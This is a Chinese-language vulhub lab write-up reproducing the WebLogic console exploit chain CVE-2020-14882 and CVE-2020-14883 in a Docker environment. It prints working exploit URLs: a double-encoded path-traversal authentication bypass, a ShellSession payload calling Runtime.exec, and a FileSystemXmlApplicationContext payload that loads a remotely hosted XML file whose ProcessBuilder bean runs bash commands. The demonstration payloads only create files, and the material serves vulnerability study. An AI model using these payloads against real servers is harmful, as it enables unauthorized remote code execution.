vulhub漏洞—Weblogic管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中，Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞，分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

漏洞环境

vulhub : https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md

执行如下命令启动一个Weblogic 12.2.1.3版本的服务器：

docker-compose up -d

启动完成后，访问http://your-ip:7001/console即可查看到后台登录页面。

漏洞复现

首先通过CVE-2020-14882的权限绕过漏洞，未授权访问后台管理页面，通过以下URL访问

http://ip:7001/console/css/%252e%252e%252fconsole.portal

然后通过CVE-2020-14883来执行任意代码执行

CVE-2020-14883有两种利用方法一是通过com.tangosol.coherence.mvel2.sh.ShellSession，二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

方法一：

com.tangosol.coherence.mvel2.sh.ShellSession方法直接访问以下构造的URL即可利用

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/EDI');")

进入docker容器就会发现创建的文件~，这里靶机是同学搭的就不再放截图了~

这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

方法二：

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext方法通用所有

我们需要构建一个xml文件，将其保存在weblogic能访问的服务器上:ip(这里使用的是我自己的服务器):8000/test.xml:

test.xml

<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/success2]]></value> </list> </constructor-arg> </bean> </beans>

通过python3 -m http.server命令放到外网环境中,默认监听端口8000。

python3 -m http.server

构造URL即可利用

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://ip:8000/test.xml")

同样进入容器，就可以看到创建的文件夹！